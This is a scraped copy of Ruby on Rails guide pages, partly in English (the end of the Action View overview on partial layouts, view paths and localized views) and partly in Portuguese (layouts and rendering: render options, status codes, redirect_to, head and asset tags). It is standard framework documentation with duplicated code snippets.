Rails determines the name of the partial to use by looking at the model name in the collection, Product in this case. In fact, you can even render a collection made up of instances of different models using this shorthand, and Rails will choose the proper partial for each member of the collection.

3.2.6 Spacer Templates

You can also specify a second partial to be rendered between instances of the main partial by using the :spacer_template option:

<%= render partial: @products, spacer_template: "product_ruler" %>

<%= render partial: @products, spacer_template: "product_ruler" %> Copiar

Rails will render the _product_ruler partial (with no data passed to it) between each pair of _product partials.

3.3 Layouts

Layouts can be used to render a common view template around the results of Rails controller actions. Typically, a Rails application will have a couple of layouts that pages will be rendered within. For example, a site might have one layout for a logged in user and another for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigation for things like "Pricing" and "Contact Us" pages. You would expect each layout to have a different look and feel. You can read about layouts in more detail in the Layouts and Rendering in Rails guide.

4 Partial Layouts

Partials can have their own layouts applied to them. These layouts are different from those applied to a controller action, but they work in a similar fashion.

Let's say we're displaying an article on a page which should be wrapped in a div for display purposes. Firstly, we'll create a new Article:

Article.create(body: 'Partial Layouts are cool!')

Article.create(body: 'Partial Layouts are cool!') Copiar

In the show template, we'll render the _article partial wrapped in the box layout:

articles/show.html.erb

<%= render partial: 'article', layout: 'box', locals: { article: @article } %>

<%= render partial: 'article', layout: 'box', locals: { article: @article } %> Copiar

The box layout simply wraps the _article partial in a div:

articles/_box.html.erb

<div class='box'>
<%= yield %>
</div>

<div class='box'> <%= yield %> </div> Copiar

Note that the partial layout has access to the local article variable that was passed into the render call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.

You can also render a block of code within a partial layout instead of calling yield. For example, if we didn't have the _article partial, we could do this instead:

articles/show.html.erb

<% render(layout: 'box', locals: { article: @article }) do %>
<div>
<p><%= article.body %></p>
</div>
<% end %>

<% render(layout: 'box', locals: { article: @article }) do %> <div> <p><%= article.body %></p> </div> <% end %> Copiar

Supposing we use the same _box partial from above, this would produce the same output as the previous example.

5 View Paths

When rendering a response, the controller needs to resolve where the different views are located. By default it only looks inside the app/views directory.

We can add other locations and give them a certain precedence when resolving paths using the prepend_view_path and append_view_path methods.

5.1 Prepend view path

This can be helpful for example, when we want to put views inside a different directory for subdomains.

We can do this by using:

prepend_view_path "app/views/#{request.subdomain}"

prepend_view_path "app/views/#{request.subdomain}" Copiar

Then Action View will look first in this directory when resolving views.

5.2 Append view path

Similarly, we can append paths:

append_view_path "app/views/direct"

append_view_path "app/views/direct" Copiar

This will add app/views/direct to the end of the lookup paths.

6 Helpers

Rails provides many helper methods to use with Action View. These include methods for:

- Formatting dates, strings and numbers

- Creating HTML links to images, videos, stylesheets, etc...

- Sanitizing content

- Creating forms

- Localizing content

You can learn more about helpers in the Action View Helpers Guide and the Action View Form Helpers Guide.

7 Localized Views

Action View has the ability to render different templates depending on the current locale.

For example, suppose you have an ArticlesController with a show action. By default, calling this action will render app/views/articles/show.html.erb. But if you set I18n.locale = :de, then app/views/articles/show.de.html.erb will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.

You can use the same technique to localize the rescue files in your public directory. For example, setting I18n.locale = :de and creating public/500.de.html and public/404.de.html would allow you to have localized rescue pages.

Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to app/controllers/application.rb:

before_action :set_expert_locale

def set_expert_locale
I18n.locale = :expert if current_user.expert?
end

before_action :set_expert_locale def set_expert_locale I18n.locale = :expert if current_user.expert? end Copiar

Then you could create special views like app/views/articles/show.expert.html.erb that would only be displayed to expert users.

You can read more about the Rails Internationalization (I18n) API here.

Layouts e Renderização no Rails — Ruby...

1 Visão Geral: Como as peças se encaixam

Este guia concentra-se na interação entre o Controller e View no triângulo Model-View-Controller. Como você sabe, o Controller é responsável por orquestrar todo o processo de como lidar com uma requisição no Rails, embora normalmente entregue qualquer código pesado ao Model. Porém, na hora de enviar uma resposta de volta ao usuário, o Controller transfere as informações para a View. É essa transferência que é o assunto deste guia.

Em linhas gerais, isso envolve decidir o que deve ser enviado como resposta e chamar um método apropriado para criar essa resposta. Se a resposta for uma view completa, o Rails também fará um trabalho extra para encapsular a view em um layout e, possivelmente, obter as partials. Você verá todos esses caminhos posteriormente neste guia.

2 Criando respostas

Do ponto de vista do controller, há três maneiras de criar uma resposta HTTP:

- Chamar render para criar uma resposta completa e enviar de volta ao navegador

- Chamar redirect_to para enviar um status code HTTP de redirecionamento para o navegador

- Chamar head para criar uma resposta que consiste apenas em cabeçalhos HTTP para enviar de volta ao navegador

2.1 Renderização por padrão: Convenção sobre configuração em ação

Você já ouviu falar que o Rails promove "convenção sobre configuração". A renderização padrão é um excelente exemplo disso. Por padrão, os controllers no Rails renderizam automaticamente views com nomes que correspondem a rotas válidas. Por exemplo, se você tiver esse código na classe BooksController:

class BooksController < ApplicationController
end

class BooksController < ApplicationController end Copiar

E o seguinte no seu arquivo de rotas:

resources :books

resources :books Copiar

E você tem um arquivo de exibição app/views/books/index.html.erb:

<h1>Os livros chegarão em breve!</h1>

<h1>Os livros chegarão em breve!</h1> Copiar

O Rails renderizará automaticamente app/views/books/index.html.erb quando você navegar para /books e verá "Os livros chegarão em breve!" na sua tela.

No entanto, uma tela em breve é apenas minimamente útil; portanto, em breve você criará o seu modelo Book e adicionará a action index ao BooksController:

class BooksController < ApplicationController
def index
@books = Book.all
end
end

class BooksController < ApplicationController def index @books = Book.all end end Copiar

Observe que não temos render explícito no final da action index, de acordo com o princípio "convenção sobre configuração". A regra é que, se você não renderizar explicitamente algo no final de uma action do controller, o Rails procurará automaticamente o template action_name.html.erb no caminho da view do controller e o renderizará. Portanto, neste caso, o Rails renderizará o arquivo app/views/books/index.html.erb.

Se queremos exibir as propriedades de todos os livros em nossa view, podemos fazer isso com um template ERB como este:

<h1>Listing Books</h1>

<table>
<thead>
<tr>
<th>Title</th>
<th>Content</th>
<th colspan="3"></th>
</tr>
</thead>

<tbody>
<% @books.each do |book| %>
<tr>
<td><%= book.title %></td>
<td><%= book.content %></td>
<td><%= link_to "Show", book %></td>
<td><%= link_to "Edit", edit_book_path(book) %></td>
<td><%= link_to "Destroy", book, method: :delete, data: { confirm: "Are you sure?" } %></td>
</tr>
<% end %>
</tbody>
</table>

<br>

<%= link_to "New book", new_book_path %>

<h1>Listing Books</h1> <table> <thead> <tr> <th>Title</th> <th>Content</th> <th colspan="3"></th> </tr> </thead> <tbody> <% @books.each do |book| %> <tr> <td><%= book.title %></td> <td><%= book.content %></td> <td><%= link_to "Show", book %></td> <td><%= link_to "Edit", edit_book_path(book) %></td> <td><%= link_to "Destroy", book, method: :delete, data: { confirm: "Are you sure?" } %></td> </tr> <% end %> </tbody> </table> <br> <%= link_to "New book", new_book_path %> Copiar

A renderização real é feita por classes aninhadas do módulo ActionView::Template::Handlers. Este guia não analisa esse processo, mas é importante saber que a extensão do arquivo na sua view controla a escolha do manipulador de templates.

2.2 Usando render

Na maioria dos casos, o método ActionController::Base#render faz o trabalho pesado de renderizar o conteúdo do aplicativo para ser utilizado por um navegador. Existem várias maneiras de personalizar o comportamento do render. Você pode renderizar a view padrão de um template do Rails, ou de um template específico, ou de um arquivo, ou código embutido, ou nada. Você pode renderizar text, JSON ou XML. Você também pode especificar o tipo de conteúdo ou o status HTTP da resposta renderizada.

Se você deseja ver os resultados exatos de uma chamada para render sem precisar inspecioná-la em um navegador, você pode chamarrender_to_string. Este método usa exatamente as mesmas opções que o render, mas retorna uma string em vez de enviar uma resposta de volta ao navegador.

2.2.1 Renderizando a View de uma Action

Se você deseja renderizar a view que corresponde a um modelo diferente dentro do mesmo controller, você pode usar render com o nome da view:

def update
@book = Book.find(params[:id])
if @book.update(book_params)
redirect_to(@book)
else
render "edit"
end
end

def update @book = Book.find(params[:id]) if @book.update(book_params) redirect_to(@book) else render "edit" end end Copiar

Se a chamada para update falhar, a action update neste controller renderizará o template edit.html.erb pertencente ao mesmo controller.

Se preferir, você pode usar um símbolo em vez de uma string para especificar a action a ser renderizada:

def update
@book = Book.find(params[:id])
if @book.update(book_params)
redirect_to(@book)
else
render :edit
end
end

def update @book = Book.find(params[:id]) if @book.update(book_params) redirect_to(@book) else render :edit end end Copiar

2.2.2 Renderizando o template de uma Action de outro Controller

E se você quiser renderizar um template de um controller totalmente diferente daquele que contém o código da action? Você também pode fazer isso com render, que aceita o caminho completo (relativo a app/views) do template a ser renderizado. Por exemplo, se você estiver executando o código em AdminProductsController que fica emapp/controllers/admin, você pode renderizar os resultados de uma action em um template em app/views/products desta maneira:

render "products/show"

render "products/show" Copiar

O Rails sabe que essa view pertence a um controller diferente devido ao caractere de barra contido na string. Se você quer ser explícito, você pode usar a opção :template (necessária no Rails 2.2 e versões anteriores):

render template: "products/show"

render template: "products/show" Copiar

2.2.3 Resumindo

As duas maneiras acima de renderizar (renderizar um template de outra action dentro do mesmo controller e renderizar um template de outra action dentro de outro controller) são na verdade variantes da mesma operação.

De fato, na classe BooksController, dentro da action update na qual queremos renderizar o template edit, se o livro não for atualizado com êxito, todas as seguintes chamadas de render renderizarão o template edit.html.erb no diretório views/books:

render :edit
render action: :edit
render "edit"
render action: "edit"
render "books/edit"
render template: "books/edit"

render :edit render action: :edit render "edit" render action: "edit" render "books/edit" render template: "books/edit" Copiar

Qual deles você usa é realmente uma questão de estilo e convenção, mas a regra geral é usar o mais simples que faça sentido para o código que você está escrevendo.

2.2.4 Usando render com :inline

O método render pode ficar completamente sem uma view se você estiver disposto a usar a opção :inline para fornecer um ERB como parte da chamada do método. Isso é perfeitamente válido:

render inline: "<% products.each do |p| %><p><%= p.name %></p><% end %>"

render inline: "<% products.each do |p| %><p><%= p.name %></p><% end %>" Copiar

Raramente existe uma boa razão para usar esta opção. Misturar ERB em seus controllers anula o MVC do Rails e torna mais difícil para outros desenvolvedores seguir a lógica do seu projeto. De preferência, use uma view erb separada.

Por padrão, a renderização inline usa o ERB. Como alternativa, você pode forçá-lo a usar Builder com a opção :type:

render inline: "xml.p {'Horrid coding practice!'}", type: :builder

render inline: "xml.p {'Horrid coding practice!'}", type: :builder Copiar

2.2.5 Renderização de texto

Você pode enviar texto sem formatação - sem nenhuma marcação - de volta ao navegador usando a opção :plain emrender:

render plain: "OK"

render plain: "OK" Copiar

A renderização de texto puro é mais útil quando você está respondendo solicitações Ajax ou serviços Web que esperam algo diferente de HTML adequado.

Por padrão, se você usar a opção :plain, o texto será renderizado sem usar o layout atual. Se você deseja que o Rails coloque o texto no layout atual, você precisa adicionar a opção layout: true e usar a extensão.text.erb para o arquivo de layout.

2.2.6 Renderização de HTML

Você pode enviar uma string HTML de volta ao navegador usando a opção :html em render:

render html: helpers.tag.strong('Not Found')

render html: helpers.tag.strong('Not Found') Copiar

Isso é útil quando você renderiza um pequeno trecho de código HTML. No entanto, você deve considerar movê-lo para um arquivo de template se a marcação for complexa.

Ao usar a opção html:, as entidades HTML serão escapadas se a string não for composta por APIs compatíveis com html_safe.

2.2.7 Renderizando JSON

JSON é um formato de dados JavaScript usado por muitas bibliotecas Ajax. O Rails possui suporte interno para converter objetos em JSON e renderizar esse JSON de volta ao navegador:

render json: @product

render json: @product Copiar

Você não precisa chamar to_json no objeto que deseja renderizar. Se você usar a opção :json, o render chamará automaticamente to_json para você.

2.2.8 Renderizando XML

O Rails também possui suporte interno para converter objetos em XML e renderizar esse XML de volta para quem o chamou:

render xml: @product

render xml: @product Copiar

Você não precisa chamar to_xml no objeto que deseja renderizar. Se você usar a opção :xml, orender automaticamente chamará to_xml para você.

2.2.9 Renderizando Vanilla JavaScript

O Rails pode renderizar JavaScript convencional:

render js: "alert('Hello Rails');"

render js: "alert('Hello Rails');" Copiar

Isso enviará a string fornecida ao navegador com um MIME type de text/javascript.

2.2.10 Renderizando conteúdo bruto

Você pode enviar um conteúdo bruto de volta ao navegador, sem definir nenhum tipo de conteúdo, usando a opção :body em render:

render body: "raw"

render body: "raw" Copiar

essa opção deve ser usada apenas se você não se importar com o tipo de conteúdo da resposta. Usando :plain ou :html é mais apropriado na maior parte do tempo.

A menos que substituído, sua resposta retornada dessa opção de renderização será text/plain, pois esse é o tipo de conteúdo padrão da resposta do Action Dispatch.

2.2.11 Renderizando arquivo bruto

O Rails pode renderizar um arquivo bruto a partir de um caminho absoluto. Isso é útil para condicionalmente renderizar arquivos estáticos, como páginas de erro.

render file: "#{Rails.root}/public/404.html", layout: false

render file: "#{Rails.root}/public/404.html", layout: false Copiar

Isso renderiza o arquivo bruto (não suporta ERB ou outros manipuladores). Por o padrão é renderizado no layout atual.

Usar a opção :file em combinação com a entrada de dados dos usuários pode levar a problemas de segurança, pois um invasor pode usar esta action para acessar arquivos confidenciais de segurança em seu sistema de arquivos.

send_file geralmente é uma opção mais rápida e melhor se um layout não for necessário.

2.2.12 Renderizando objetos

O Rails pode renderizar objetos que respondem ao método :render_in.

render MyRenderable.new

render MyRenderable.new Copiar

Isso chama render_in no objeto com o contexto de view (view context) atual.

2.2.13 Opções para render

As chamadas para o método render geralmente aceitam seis opções:

- :content_type

- :layout

- :location

- :status

- :formats

- :variants

2.2.13.1 A opção :content_type

Por padrão, o Rails exibirá os resultados de uma renderização com o tipo de conteúdo MIME como text/html (ou application/json se você usar a opção :json ouapplication/xml para a opção :xml.). Há momentos em que você pode alterar isso, e pode fazê-lo definindo a opção :content_type:

render template: "feed", content_type: "application/rss"

render template: "feed", content_type: "application/rss" Copiar

2.2.13.2 A opção :layout

Com a maioria das opções para render, o conteúdo renderizado é exibido como parte do layout atual. Você aprenderá mais sobre layouts e como usá-los posteriormente neste guia.

Você pode usar a opção :layout para que o Rails use um arquivo específico como o layout da action atual:

render layout: "special_layout"

render layout: "special_layout" Copiar

Você também pode dizer ao Rails para renderizar sem nenhum layout:

render layout: false

render layout: false Copiar

2.2.13.3 A opção :location

Você pode usar a opção :location para definir o cabeçalho HTTP Location:

render xml: photo, location: photo_url(photo)

render xml: photo, location: photo_url(photo) Copiar

2.2.13.4 A opção :status

O Rails gerará automaticamente uma resposta com o código de status HTTP correto (na maioria dos casos, isso é 200 OK). Você pode usar a opção :status para alterar isso:

render status: 500
render status: :forbidden

render status: 500 render status: :forbidden Copiar

O Rails entende os códigos númericos de status e os símbolos correspondentes mostrados abaixo.

Classe da Resposta

Código de Status HTTP

Símbolo

Informational

100

:continue

101

:switching_protocols

102

:processing

Success

200

:ok

201

:created

202

:accepted

203

:non_authoritative_information

204

:no_content

205

:reset_content

206

:partial_content

207

:multi_status

208

:already_reported

226

:im_used

Redirection

300

:multiple_choices

301

:moved_permanently

302

:found

303

:see_other

304

:not_modified

305

:use_proxy

307

:temporary_redirect

308

:permanent_redirect

Client Error

400

:bad_request

401

:unauthorized

402

:payment_required

403

:forbidden

404

:not_found

405

:method_not_allowed

406

:not_acceptable

407

:proxy_authentication_required

408

:request_timeout

409

:conflict

410

:gone

411

:length_required

412

:precondition_failed

413

:payload_too_large

414

:uri_too_long

415

:unsupported_media_type

416

:range_not_satisfiable

417

:expectation_failed

421

:misdirected_request

422

:unprocessable_entity

423

:locked

424

:failed_dependency

426

:upgrade_required

428

:precondition_required

429

:too_many_requests

431

:request_header_fields_too_large

451

:unavailable_for_legal_reasons

Server Error

500

:internal_server_error

501

:not_implemented

502

:bad_gateway

503

:service_unavailable

504

:gateway_timeout

505

:http_version_not_supported

506

:variant_also_negotiates

507

:insufficient_storage

508

:loop_detected

510

:not_extended

511

:network_authentication_required

Se você tentar renderizar um conteúdo junto com um código de status que não tem conteúdo (100-199, 204, 205 ou 304), o contéudo será descartado da resposta.

2.2.13.5 A opção :formats

O Rails usa o formato especificado na solicitação (ou :html por padrão). Você pode mudar isso passando a opção :formats com um símbolo ou um array:

render formats: :xml
render formats: [:json, :xml]

render formats: :xml render formats: [:json, :xml] Copiar

Se um template com o formato especificado não existir, será gerado um erro ActionView::MissingTemplate.

2.2.13.6 A opção :variants

Isso diz ao Rails para procurar variações de template do mesmo formato. Você pode especificar uma lista de variações passando a opção :variants com um símbolo ou um array.

Um exemplo de uso seria este.

# called in HomeController#index
render variants: [:mobile, :desktop]

# called in HomeController#index render variants: [:mobile, :desktop] Copiar

Com esse conjunto de variantes, o Rails procurará o conjunto de modelos a seguir e usará o primeiro que encontrar.

- app/views/home/index.html+mobile.erb

- app/views/home/index.html+desktop.erb

- app/views/home/index.html.erb

Se um template com o formato especificado não existir, será gerado um erro ActionView::MissingTemplate.

Em vez de definir a variação na chamada da renderização, você também pode configurá-la no objeto de solicitação na action do controller.

def index
request.variant = determine_variant
end

private

def determine_variant
variant = nil
# some code to determine the variant(s) to use
variant = :mobile if session[:use_mobile]

variant
end

def index request.variant = determine_variant end private def determine_variant variant = nil # some code to determine the variant(s) to use variant = :mobile if session[:use_mobile] variant end Copiar

2.2.14 Localizando Layouts

Para encontrar o layout atual, o Rails primeiro procura por um arquivo em app/views/layouts com o mesmo nome base que o controller. Por exemplo, renderizar actions da classe PhotosController usam app/views/layouts/photos.html.erb (ou app/views/layouts/photos.builder). Se não houver esse layout específico do controller, o Rails usará app/views/layouts/application.html.erb ouapp/views/layouts/application.builder. Se não houver um layout .erb, o Rails usará um layout.builder, se houver. O Rails também fornece várias maneiras de atribuir layouts específicos com mais precisão a controllers e actions individuais.

2.2.14.1 Especificando Layouts para Controllers

Você pode substituir as convenções de layout padrão em seus controllers usando a declaração layout. Por exemplo:

class ProductsController < ApplicationController
layout "inventory"
#...
end

class ProductsController < ApplicationController layout "inventory" #... end Copiar

Com esta declaração, todas as views renderizadas pelo ProductsController usarãoapp/views/layouts/inventário.html.erb como layout.

Para atribuir um layout específico para toda a aplicação, declare um layout na sua classeApplicationController:

class ApplicationController < ActionController::Base
layout "main"
#...
end

class ApplicationController < ActionController::Base layout "main" #... end Copiar

Com esta declaração, todas as views, em toda a aplicação, usarão app/views/layouts/main.html.erb para seu layout.

2.2.14.2 Escolhendo Layouts em Tempo de Execução

Você pode usar um símbolo para adiar a escolha do layout até que uma requisição seja processada:

class ProductsController < ApplicationController
layout :products_layout

def show
@product = Product.find(params[:id])
end

private
def products_layout
@current_user.special? ? "special" : "products"
end

end

class ProductsController < ApplicationController layout :products_layout def show @product = Product.find(params[:id]) end private def products_layout @current_user.special? ? "special" : "products" end end Copiar

Agora, se o usuário atual for um usuário especial, ele receberá um layout especial ao visualizar um produto.

Você pode até usar um método inline, como um Proc, para determinar o layout. Por exemplo, se você passar um objeto Proc, o bloco que você fornecer ao Proc receberá a instância controller, para que o layout possa ser determinado com base na solicitação atual:

class ProductsController < ApplicationController
layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" }
end

class ProductsController < ApplicationController layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" } end Copiar

2.2.14.3 Layouts Condicionais

Os layouts especificados no nível do controller suportam as opções :only e:except. Essas opções recebem um nome de método ou um array de nomes de métodos que correspondem aos nomes de métodos no controller:

class ProductsController < ApplicationController
layout "product", except: [:index, :rss]
end

class ProductsController < ApplicationController layout "product", except: [:index, :rss] end Copiar

Com esta declaração, o layout de product seria usado para tudo, menos os métodosrss e index.

2.2.14.4 Herança de Layout

As declarações de layout cascateam na hierarquia, e as declarações de layout mais específicas sempre substituem as mais gerais. Por exemplo:

- application_controller.rb

class ApplicationController < ActionController::Base
layout "main"
end

class ApplicationController < ActionController::Base layout "main" end Copiar

- articles_controller.rb

class ArticlesController < ApplicationController
end

class ArticlesController < ApplicationController end Copiar

- special_articles_controller.rb

class SpecialArticlesController < ArticlesController
layout "special"
end

class SpecialArticlesController < ArticlesController layout "special" end Copiar

- old_articles_controller.rb

class OldArticlesController < SpecialArticlesController
layout false

def show
@article = Article.find(params[:id])
end

def index
@old_articles = Article.older
render layout: "old"
end
# ...
end

class OldArticlesController < SpecialArticlesController layout false def show @article = Article.find(params[:id]) end def index @old_articles = Article.older render layout: "old" end # ... end Copiar

Nesta aplicação:

- Em geral, as views serão renderizadas no layout main

- O ArticlesController#index usará o layout main

- SpecialArticlesController#index usará o layout special

- OldArticlesController#show não usará nenhum layout

- OldArticlesController#index usará o layout old

2.2.14.5 Herança de Template

Similar à lógica de herança de layout, se um template ou partial não for encontrado no caminho convencional, o controller procurará um template ou partial para renderizar em sua cadeia de herança. Por exemplo:

# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
end

# app/controllers/application_controller.rb class ApplicationController < ActionController::Base end Copiar

# app/controllers/admin_controller.rb
class AdminController < ApplicationController
end

# app/controllers/admin_controller.rb class AdminController < ApplicationController end Copiar

# app/controllers/admin/products_controller.rb
class Admin::ProductsController < AdminController
def index
end
end

# app/controllers/admin/products_controller.rb class Admin::ProductsController < AdminController def index end end Copiar

A ordem de busca para uma action admin/products#index será:

- app/views/admin/products/

- app/views/admin/

- app/views/application/

Isso torna o app/views/application/ um ótimo lugar para suas partials compartilhadas, que podem ser renderizadas no seu ERB da seguinte forma:

<%# app/views/admin/products/index.html.erb %>
<%= render @products || "empty_list" %>

<%# app/views/application/_empty_list.html.erb %>
There are no items in this list <em>yet</em>.

<%# app/views/admin/products/index.html.erb %> <%= render @products || "empty_list" %> <%# app/views/application/_empty_list.html.erb %> There are no items in this list <em>yet</em>. Copiar

2.2.15 Como evitar erros de renderização dupla

Mais cedo ou mais tarde, a maioria das pessoas desenvolvedoras Rails verá a mensagem de erro "Só pode renderizar ou redirecionar uma vez por ação" ("Can only render or redirect once per action"). Embora isso seja irritante, é relativamente fácil de corrigir. Geralmente isso ocorre devido a um mal-entendido sobre o modo como o render funciona.

Por exemplo, aqui está um código que acionará esse erro:

def show
@book = Book.find(params[:id])
if @book.special?
render action: "special_show"
end
render action: "regular_show"
end

def show @book = Book.find(params[:id]) if @book.special? render action: "special_show" end render action: "regular_show" end Copiar

Se @book.special? for avaliado como true, o Rails iniciará o processo de renderização para despejar a variável @book na view special_show. Mas isso não interrompe a execução do restante do código na action show, e quando o Rails chegar ao final da ação, ele começará a renderizar a view regular_show - e gerará um erro. A solução é simples: verifique se você tem apenas uma chamada para render ou redirect em um único fluxo de código. Uma coisa que pode ajudar é and return. Aqui está uma versão corrigida do método:

def show
@book = Book.find(params[:id])
if @book.special?
render action: "special_show" and return
end
render action: "regular_show"
end

def show @book = Book.find(params[:id]) if @book.special? render action: "special_show" and return end render action: "regular_show" end Copiar

Certifique-se de usar and return em vez de && return, porque && return não funcionará devido à precedência do operador na linguagem Ruby.

Observe que a renderização implícita feita pelo ActionController detecta se render foi chamado, portanto, o seguinte código funcionará sem erros:

def show
@book = Book.find(params[:id])
if @book.special?
render action: "special_show"
end
end

def show @book = Book.find(params[:id]) if @book.special? render action: "special_show" end end Copiar

Isso renderizará um livro com special? configurado com o template special_show, enquanto outros livros serão renderizados com o template padrão show.

2.3 Usando redirect_to

Outra maneira de lidar com o retorno das respostas de uma requisição HTTP é com redirect_to. Como você viu, render diz ao Rails qual view (ou outro asset) deve ser usado na construção de uma resposta. O método redirect_to faz algo completamente diferente: diz ao navegador para enviar uma nova requisição para uma URL diferente. Por exemplo, você pode redirecionar de onde quer que esteja no seu código para o index de fotos em sua aplicação com esta chamada:

redirect_to photos_url

redirect_to photos_url Copiar

Você pode usar o redirect_back para retornar o usuário à página de onde eles vieram. Este local é extraído do cabeçalho HTTP_REFERER, que não garante que esteja definido pelo navegador, portanto, você deve fornecer o fallback_location para usar neste caso.

redirect_back(fallback_location: root_path)

redirect_back(fallback_location: root_path) Copiar

redirect_to e redirect_back não param e retornam imediatamente da execução do método, mas simplesmente definem as respostas HTTP. As instruções que ocorrerem depois deles em um método serão executadas. Você pode parar a execução com um return explícito ou algum outro mecanismo de parada, se necessário.

2.3.1 Obtendo um Código de Status de Redirecionamento Diferente

O Rails usa o código de status HTTP 302, um redirecionamento temporário, quando você chama redirect_to. Se você quiser usar um código de status diferente, talvez 301, um redirecionamento permanente, use a opção :status:

redirect_to photos_path, status: 301

redirect_to photos_path, status: 301 Copiar

Assim como a opção :status pararender, :status para redirect_to aceita designações numéricas e simbólicas de cabeçalho .

2.3.2 A Diferença entre render eredirect_to

Às vezes, pessoas desenvolvedoras inexperientes pensam no redirect_to como uma espécie de comando goto, movendo a execução de um lugar para outro no seu código Rails. Isso não está correto. Seu código para de ser executado e aguarda uma nova requisição do navegador. Acontece que você informou ao navegador qual requisição deve acontecer em seguida, enviando de volta um código de status HTTP 302.

Considere estas ações para ver a diferença:

def index
@books = Book.all
end

def show
@book = Book.find_by(id: params[:id])
if @book.nil?
render action: "index"
end
end

def index @books = Book.all end def show @book = Book.find_by(id: params[:id]) if @book.nil? render action: "index" end end Copiar

Com o código neste formulário, provavelmente haverá um problema se a variável @book for nil. Lembre-se de que um render: action não executa nenhum código na action de destino, então nada configurará a variável @books que a view do index provavelmente exigirá. Uma maneira de corrigir isso é redirecionar em vez de renderizar:

def index
@books = Book.all
end

def show
@book = Book.find_by(id: params[:id])
if @book.nil?
redirect_to action: :index
end
end

def index @books = Book.all end def show @book = Book.find_by(id: params[:id]) if @book.nil? redirect_to action: :index end end Copiar

Com esse código, o navegador fará uma nova requisição para a página de índice, o código no método index será executado e tudo ficará bem.

A única desvantagem desse código é que ele requer que o navegador faça uma volta: o navegador solicitou a action show com /books/1 e o controller descobre que não há livros, portanto o controller envia uma resposta de redirecionamento 302 para o navegador dizendo para ele ir para /books/, o navegador obedece e envia uma nova requisição de volta ao controller solicitando agora a action index, o controller obtém todos os livros no banco de dados e renderiza o template de index, enviando-o de volta para o navegador, que o exibe na tela.

Enquanto em uma aplicação pequena essa latência adicional pode não ser um problema, é algo para se pensar se o tempo de resposta é uma preocupação. Podemos demonstrar uma maneira de lidar com isso com um exemplo:

def index
@books = Book.all
end

def show
@book = Book.find_by(id: params[:id])
if @book.nil?
@books = Book.all
flash.now[:alert] = "Your book was not found"
render "index"
end
end

def index @books = Book.all end def show @book = Book.find_by(id: params[:id]) if @book.nil? @books = Book.all flash.now[:alert] = "Your book was not found" render "index" end end Copiar

Isso detectaria que não há livros com o ID especificado, define a variável de instância @books com todos os livros no modelo e depois renderiza diretamente o template index.html.erb, retornando-o ao navegador com um mensagem de alerta flash para informar ao usuário o que aconteceu.

2.4 Usando head para criar respostas com apenas o cabeçalho (Header-Only)

O método head pode ser usado para enviar respostas apenas com cabeçalhos para o navegador. O método head aceita um número ou símbolo (consulte tabela de referência) representando um código de status HTTP. O argumento de options é interpretado como um hash de nomes e valores de cabeçalho. Por exemplo, você pode retornar apenas um cabeçalho de erro:

head :bad_request

head :bad_request Copiar

Isso produziria o seguinte cabeçalho:

HTTP/1.1 400 Bad Request
Connection: close
Date: Sun, 24 Jan 2010 12:15:53 GMT
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
X-Runtime: 0.013483
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache

HTTP/1.1 400 Bad Request Connection: close Date: Sun, 24 Jan 2010 12:15:53 GMT Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 X-Runtime: 0.013483 Set-Cookie: _blog_session=...snip...; path=/; HttpOnly Cache-Control: no-cache Copiar

Ou você pode usar outros cabeçalhos HTTP para transmitir outras informações:

head :created, location: photo_path(@photo)

head :created, location: photo_path(@photo) Copiar

O que produziria:

HTTP/1.1 201 Created
Connection: close
Date: Sun, 24 Jan 2010 12:16:44 GMT
Transfer-Encoding: chunked
Location: /photos/1
Content-Type: text/html; charset=utf-8
X-Runtime: 0.083496
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache

HTTP/1.1 201 Created Connection: close Date: Sun, 24 Jan 2010 12:16:44 GMT Transfer-Encoding: chunked Location: /photos/1 Content-Type: text/html; charset=utf-8 X-Runtime: 0.083496 Set-Cookie: _blog_session=...snip...; path=/; HttpOnly Cache-Control: no-cache Copiar

3 Estruturando Layouts

Quando o Rails renderiza a view como uma resposta, ele faz isso combinando a view com o layout atual, usando as regras pra achar o layout atual que foram mencionadas neste guia. Dentro de um layout, você tem acesso a três ferramentas para combinar pedaços diferentes de saídas para formar a resposta geral:

- Asset tags

- yield e content_for

- Partials

3.1 Helpers de Asset Tags

Helpers de Asset Tags fornecem métodos para gerar HTML que liga views a feeds, JavaScript, stylesheets, imagens, vídeos, e áudios. Há seis helpers de asset tags disponíveis no Rails:

- auto_discovery_link_tag

- javascript_include_tag

- stylesheet_link_tag

- image_tag

- video_tag

- audio_tag

Você pode usar essas tags em layouts ou outras views, embora os métodos auto_discovery_link_tag, javascript_include_tag e stylesheet_link_tag apareçam mais na seção <head> de um layout.

Os helpers de asset tags não verificam a existência dos assets nos endereços específicos; eles simplesmente presumem que você sabe o que está fazendo e geram o link.

3.1.1 Ligando a Feeds com o método auto_discovery_link_tag

O helper auto_discovery_link_tag monta HTML que a maioria dos navegadores e leitores de feeds conseguem usar para detectar a presenta de feeds RSS, Atom, ou JSON. Ele recebe o tipo de link (:rss, :atom, or :json), um hash de opções que são encaminhados para url_for, e um hash de opções para a tag:

<%= auto_discovery_link_tag(:rss, {action: "feed"},
{title: "RSS Feed"}) %>

<%= auto_discovery_link_tag(:rss, {action: "feed"}, {title: "RSS Feed"}) %> Copiar

Há três opções de tags disponíveis para o método auto_discovery_link_tag:

- :rel especifica o valor rel no link. O valor padrão é "alternate".

- :type especifica um MIME type explícito. O Rails criará um MIME type apropriado automaticamente.

- :title especifica o título do link. O valor padrão é o valor definido em :type com letras maiúsculas, por exemplo, "ATOM" ou "RSS".

3.1.2 Ligando a Arquivos JavaScript com o Método javascript_include_tag

O helper javascript_include_tag retorna uma tag HTML script para cada fonte fornecida.

